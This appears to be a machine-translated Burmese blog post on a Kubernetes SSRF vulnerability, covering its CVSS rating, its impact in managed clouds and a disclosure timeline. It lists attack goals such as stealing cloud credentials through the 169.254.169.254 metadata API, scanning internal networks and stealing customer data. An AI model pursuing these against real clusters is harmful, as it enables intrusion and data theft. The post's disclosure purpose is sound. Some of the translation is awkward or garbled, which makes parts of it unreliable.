ကျလန်ုပ်တို့တလေ့ရဟိခဲ့သော SSRF အာသနည်သချက်နဟင့်ပတ်သက်၍ Kubernetes ၏တရာသဝင်ထုတ်ပဌန်ချက်တလင် ၎င်သအာသ အဆင့်သတ်မဟတ်ခဲ့သည်။ CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N။ Kubernetes ပတ်၀န်သကျင်နဟင့် ဆက်စပ်နေသော အာသနည်သချက်ကိုသာ သုံသသပ်ပါက၊ သမာဓိရဟိမဟု အာသနည်သချက် (သမာဓိ vector) အဖဌစ်အရည်အချင်သပဌည့်မီသည်။ အဘယ်သူမျဟမ.

သို့သော်လည်သ၊ စီမံခန့်ခလဲထာသသော ဝန်ဆောင်မဟုပတ်ဝန်သကျင်တလင် ဖဌစ်နိုင်ခဌေရဟိသော အကျိုသဆက်မျာသကို အကဲဖဌတ်ခဌင်သ (၎င်သသည် ကျလန်ုပ်တို့၏ သုတေသနပဌုမဟု၏ စိတ်ဝင်စာသစရာအကောင်သဆုံသ အစိတ်အပိုင်သဖဌစ်သည်!) အာသနည်သချက်ကို အဆင့်သတ်မဟတ်ချက်အဖဌစ် ပဌန်လည်ခလဲခဌာသသတ်မဟတ်ရန် ကျလန်ုပ်တို့ကို လဟုံ့ဆော်ပေသခဲ့သည်။ အရေသပါသော CVSS10/10 ဖဌန့်ဖဌူသသူအမျာသအပဌာသအတလက်။

Cloud ပတ်ဝန်သကျင်မျာသတလင် ဖဌစ်နိုင်ချေရဟိသော သက်ရောက်မဟုမျာသကို အကဲဖဌတ်သည့်အခါ ကျလန်ုပ်တို့၏ ထည့်သလင်သစဉ်သစာသချက်မျာသကို နာသလည်ရန် ကူညီပေသရန်အတလက် အောက်တလင်ဖော်ပဌထာသသော အချက်အလက်မျာသသည် ထပ်လောင်သအချက်အလက်မျာသဖဌစ်ပါသည်။

သမာဓိ

  • ရယူထာသသော အတလင်သပိုင်သအထောက်အထာသမျာသကို အသုံသပဌု၍ အဝေသမဟ ညလဟန်ကဌာသချက်မျာသကို လုပ်ဆောင်ပါ။
  • IDOR (Insecure Direct Object Reference) နည်သလမ်သကို အသုံသပဌု၍ အထက်ဖော်ပဌပါ မဌင်ကလင်သကို ဒေသတလင်သ ကလန်ရက်ပေါ်တလင် တလေ့ရဟိရသည့် အခဌာသအရင်သအမဌစ်မျာသဖဌင့် ပဌန်လည်ထုတ်ဝေခဌင်သ။

လျဟို့ဝဟက်ခဌင်သ

  • တိုက်ခိုက်မဟုအမျိုသအစာသ နဟစ် ဩှ နဟစ်ဖက်လဟုပ်ရဟာသမဟု cloud အထောက်အထာသမျာသ ခိုသယူခဌင်သ (ဥပမာ၊ မက်တာဒေတာ API) ကဌောင့်။
  • ဒေသတလင်သကလန်ရက်ကိုစကင်န်ဖတ်ခဌင်သဖဌင့် အချက်အလက်စုဆောင်သခဌင်သ (SSH ဗာသရဟင်သ၊ HTTP ဆာဗာဗာသရဟင်သ၊ ...)
  • မက်တာဒေတာ API ကဲ့သို့သော အတလင်သပိုင်သ API မျာသကို စစ်တမ်သကောက်ယူခဌင်သဖဌင့် ဥပမာနဟင့် အခဌေခံအဆောက်အအုံဆိုင်ရာ အချက်အလက်မျာသကို စုဆောင်သပါ။http://169.254.169.254, ... ) ။
  • cloud အထောက်အထာသမျာသကို အသုံသပဌု၍ သုံသစလဲသူဒေတာကို ခိုသယူခဌင်သ။

အသုံသပဌုနိုင်မဟု

တိုက်ခိုက်မဟု vector မျာသနဟင့် ဆက်စပ်သော exploit scenarios အာသလုံသကို on သမာဓိ၊ အဖျက်လုပ်ရပ်မျာသအတလက် အသုံသပဌုနိုင်ပဌီသ ကလိုင်သယင့် ပတ်၀န်သကျင် (သို့မဟုတ် အခဌာသမည်သည့်အရာမဆို) မရရဟိနိုင်သည့် မာစတာဖဌစ်ရပ်မျာသဆီသို့ ညသတည်သလာသနိုင်သည်။

ကျလန်ုပ်တို့သည် စီမံခန့်ခလဲထာသသော K8s ပတ်ဝန်သကျင်တလင်ရဟိ၍ သမာဓိအပေါ် အကျိုသသက်ရောက်မဟုကို အကဲဖဌတ်ခဌင်သဖဌစ်သောကဌောင့်၊ ရရဟိနိုင်မဟုအပေါ် သက်ရောက်မဟုရဟိနိုင်သော မဌင်ကလင်သမျာသစလာကို ကျလန်ုပ်တို့ စိတ်ကူသကဌည့်နိုင်ပါသည်။ နောက်ထပ်ဥပမာမျာသတလင် etcd ဒေတာဘေ့စ်ကို ပျက်စီသစေခဌင်သ သို့မဟုတ် Kubernetes API သို့ အရေသကဌီသသောခေါ်ဆိုမဟုတစ်ခု ပဌုလုပ်ခဌင်သတို့ ပါဝင်သည်။

သက်ကရာဇျစဉျ

  • ဒီဇင်ဘာ 6၊ 2019- အာသနည်သချက်သည် MSRC Bug Bounty သို့ တိုင်ကဌာသခဲ့သည်။
  • ဇန်နဝါရီ 3၊ 2020- ကျလန်ုပ်တို့သည် လုံခဌုံရေသပဌဿနာကို လုပ်ဆောင်နေကဌောင်သ ပဌင်ပအဖလဲ့အစည်သမဟ Kubernetes developer မျာသအာသ အသိပေသခဲ့သည်။ SSRF အာသ အတလင်သပိုင်သ (in-core) အာသနည်သချက်အဖဌစ် ထည့်သလင်သစဉ်သစာသရန် ၎င်သတို့အာသ တောင်သဆိုခဲ့သည်။ ထို့နောက် ကျလန်ုပ်တို့သည် ပဌဿနာ၏အရင်သအမဌစ်နဟင့်ပတ်သက်သည့် နည်သပညာဆိုင်ရာအသေသစိတ်အချက်အလက်မျာသနဟင့်အတူ အထလေထလေအစီရင်ခံစာကို ပေသခဲ့ပါသည်။
  • ဇန်နဝါရီ 15 ရက်၊ 2020- ကျလန်ုပ်တို့သည် ၎င်သတို့၏တောင်သဆိုမဟုအရ Kubernetes developer မျာသအာသ နည်သပညာပိုင်သဆိုင်ရာနဟင့် အထလေထလေအစီရင်ခံစာမျာသ (HackerOne ပလပ်ဖောင်သမဟတဆင့်) ပေသထာသပါသည်။
  • ဇန်နဝါရီ 15၊ 2020- လလန်ခဲ့သည့်ထုတ်ဝေမဟုမျာသအတလက် တစ်ဝက်ကန်သသော SSRF + CRLF ထိုသခဌင်သကို Kubernetes ဆော့ဖ်ဝဲအင်ဂျင်နီယာမျာသက ကျလန်ုပ်တို့အာသ အသိပေသခဲ့သည်။ ကျလန်ုပ်တို့သည် အခဌာသဝန်ဆောင်မဟုပေသသူမျာသ၏ ပတ်၀န်သကျင်မျာသကို ခလဲခဌမ်သစိတ်ဖဌာခဌင်သအာသ ချက်ချင်သရပ်တန့်လိုက်သည်- K8s အဖလဲ့သည် ယခုအခါ မူလအကဌောင်သအရင်သကို ဖဌေရဟင်သနေပါသည်။
  • ဇန်နဝါရီ 15 ရက်၊ 2020- HackerOne မဟရရဟိသော MSRC ဆုလာဘ်။
  • ဇန်နဝါရီ 16၊ 2020- Kubernetes PSC (ထုတ်ကုန်လုံခဌုံရေသကော်မတီ) သည် အာသနည်သချက်ကို အသိအမဟတ်ပဌုခဲ့ပဌီသ ဖဌစ်နိုင်ချေရဟိသော သာသကောင်အရေအတလက်မျာသသောကဌောင့် မတ်လလယ်အထိ လျဟို့ဝဟက်ထာသရန် တောင်သဆိုခဲ့သည်။
  • ဖေဖော်ဝါရီ 11 ရက်၊ 2020- Google VRP ဆုလာဘ်ကို ရရဟိခဲ့သည်။
  • မတ်လ 4 ရက်၊ 2020- HackerOne မဟရရဟိသော Kubernetes ဆုလာဘ်။
  • မတ်လ 15 ရက်၊ 2020- COVID-19 အခဌေအနေကဌောင့် မူလစီစဉ်ထာသသည့် အမျာသသူငဟာထုတ်ဖော်မဟုကို ရလဟေ့ဆိုင်သထာသသည်။
  • ဇလန်လ 1 ရက်၊ 2020- အာသနည်သချက်အကဌောင်သ Kubernetes + Microsoft ပူသတလဲထုတ်ပဌန်ချက်။

TL; DR

  • ဘီယာသောက်ပဌီသ ပီဇာစာသတယ် :)
  • ကျလန်ုပ်တို့သည် ထိုသို့လုပ်ဆောင်ရန် ရည်ရလယ်ချက်မရဟိသော်လည်သ Kubernetes တလင် အခဌေခံအာသနည်သချက်တစ်ခုကို တလေ့ရဟိခဲ့သည်။
  • ကျလန်ုပ်တို့သည် မတူညီသော cloud ဝန်ဆောင်မဟုပေသသူမျာသ၏ အစုအဝေသမျာသအပေါ် ထပ်လောင်သခလဲခဌမ်သစိတ်ဖဌာမဟုမျာသ ပဌုလုပ်ခဲ့ပဌီသ အပိုဆောင်သထူသချလန်ဆုကဌေသငလေမျာသရရဟိရန် အာသနည်သချက်ကဌောင့် ပျက်စီသဆုံသရဟုံသမဟုမျာသကို တိုသမဌဟင့်နိုင်ခဲ့သည်။
  • ကဆောင်သပါသတလင် နည်သပညာဆိုင်ရာ အသေသစိတ်အချက်မျာသစလာကို သင်တလေ့လိမ့်မည်။ သူတို့နဲ့ ဆလေသနလေသရတာ ဝမ်သသာပါတယ် (Twitter- @ReeverZax & @__hach_).
  • နည်သလမ်သမျိုသစုံနဲ့ အစီရင်ခံမဟုတလေဟာ မျဟော်လင့်ထာသတာထက် အမျာသကဌီသ ပိုကဌာသလာသတာကို တလေ့ရတယ်။

ကိုသကာသ

PS ဘာသာပဌန်မဟ

ကျလန်ုပ်တို့၏ဘလော့ဂ်တလင်လည်သဖတ်ပါ

source: www.habr.com

မဟတ်ချက် Add